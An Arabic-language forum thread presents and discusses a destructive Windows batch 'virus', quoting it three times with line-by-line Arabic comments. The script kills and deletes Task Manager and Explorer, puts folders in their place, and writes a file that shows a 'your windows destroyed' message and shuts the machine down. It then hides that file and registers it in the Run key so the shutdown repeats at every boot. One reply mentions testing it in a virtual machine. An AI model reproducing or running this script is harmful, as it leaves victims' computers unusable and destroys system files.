تقييم لفيروس cmd

[hatem-ghouthi]

السلام عليكم ورحمة الله وبركاته
اليوم فيروس بسيط لكن هو عبارة عن اكبر كابوس ممكن يصيب المستعمل البسيط

اخليكم مع الاوامر المستعملة

@echo off
taskkill /f /im taskmgr.exe
attrib -s -h "%SystemRoot%\taskmgr.exe"
del /f /q "%SystemRoot%\taskmgr.exe"
md "%SystemRoot%\taskmgr.exe"
attrib +s +h "%SystemRoot%\taskmgr.exe"
taskkill /f /im explorer.exe
attrib -s -h "%SystemRoot%\explorer.exe"
del /f /q "%SystemRoot%\explorer.exe"
md "%SystemRoot%\explorer.exe"
attrib +s +h "%SystemRoot%\explorer.exe"
cls
echo @echo off>dz.cmd
echo msg * your windows destroyed by dz/virus-man\>>dz.cmd
echo shutdown -s -t 02>>dz.cmd
cls
md "%HOMEDRIVE%\systemfiles"
copy dz.cmd "%HOMEDRIVE%\systemfiles\1.cmd"
attrib +s +h +r +a "%HOMEDRIVE%\systemfiles"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v sys /d "%HOMEDRIVE%\systemfiles\1.cmd"
cls
msg * your windows destroyed by dz/virus-man\
shutdown -s -t 02

تقييم على الفيروس من ناحية الخطورة

 

[MagicianMiDo32]

[hide]


@echo off
taskkill /f /im taskmgr.exe
قتل التاسك مانيجر
attrib -s -h "%SystemRoot%\taskmgr.exe"
del /f /q "%SystemRoot%\taskmgr.exe"
md "%SystemRoot%\taskmgr.exe"
attrib +s +h "%SystemRoot%\taskmgr.exe"
حذف التاسك مانيجر
taskkill /f /im explorer.exe
قتل الأكسبلورر
attrib -s -h "%SystemRoot%\explorer.exe"
del /f /q "%SystemRoot%\explorer.exe"
md "%SystemRoot%\explorer.exe"
attrib +s +h "%SystemRoot%\explorer.exe"
حذف الإكسبلورر
cls
echo @echo off>dz.cmd
echo msg * your windows destroyed by dz/virus-man\>>dz.cmd
رسالة للمستخدم
echo shutdown -s -t 02>>dz.cmd
إيقاف تشغيل النظام

cls

md "%HOMEDRIVE%\systemfiles"
copy dz.cmd "%HOMEDRIVE%\systemfiles\1.cmd"
attrib +s +h +r +a "%HOMEDRIVE%\systemfiles"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v sys /d "%HOMEDRIVE%\systemfiles\1.cmd"
cls
msg * your windows destroyed by dz/virus-man\


shutdown -s -t 02
هنا يضيف البات نفسه لبدء التشغيل
[/hide]​

 

[hatem-ghouthi]

[hide]


@echo off
taskkill /f /im taskmgr.exe
قتل التاسك مانيجر
attrib -s -h "%SystemRoot%\taskmgr.exe"
del /f /q "%SystemRoot%\taskmgr.exe"
md "%SystemRoot%\taskmgr.exe"
attrib +s +h "%SystemRoot%\taskmgr.exe"
حذف التاسك مانيجر
taskkill /f /im explorer.exe
قتل الأكسبلورر
attrib -s -h "%SystemRoot%\explorer.exe"
del /f /q "%SystemRoot%\explorer.exe"
md "%SystemRoot%\explorer.exe"
attrib +s +h "%SystemRoot%\explorer.exe"
حذف الإكسبلورر
cls
echo @echo off>dz.cmd
echo msg * your windows destroyed by dz/virus-man\>>dz.cmd
رسالة للمستخدم
echo shutdown -s -t 02>>dz.cmd
إيقاف تشغيل النظام

cls

md "%HOMEDRIVE%\systemfiles"
copy dz.cmd "%HOMEDRIVE%\systemfiles\1.cmd"
attrib +s +h +r +a "%HOMEDRIVE%\systemfiles"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v sys /d "%HOMEDRIVE%\systemfiles\1.cmd"
cls
msg * your windows destroyed by dz/virus-man\


shutdown -s -t 02
هنا يضيف البات نفسه لبدء التشغيل
[/hide]​

اي نعم

 

[raafet]

رح أجربه على الوندوز الوهمي و أشوف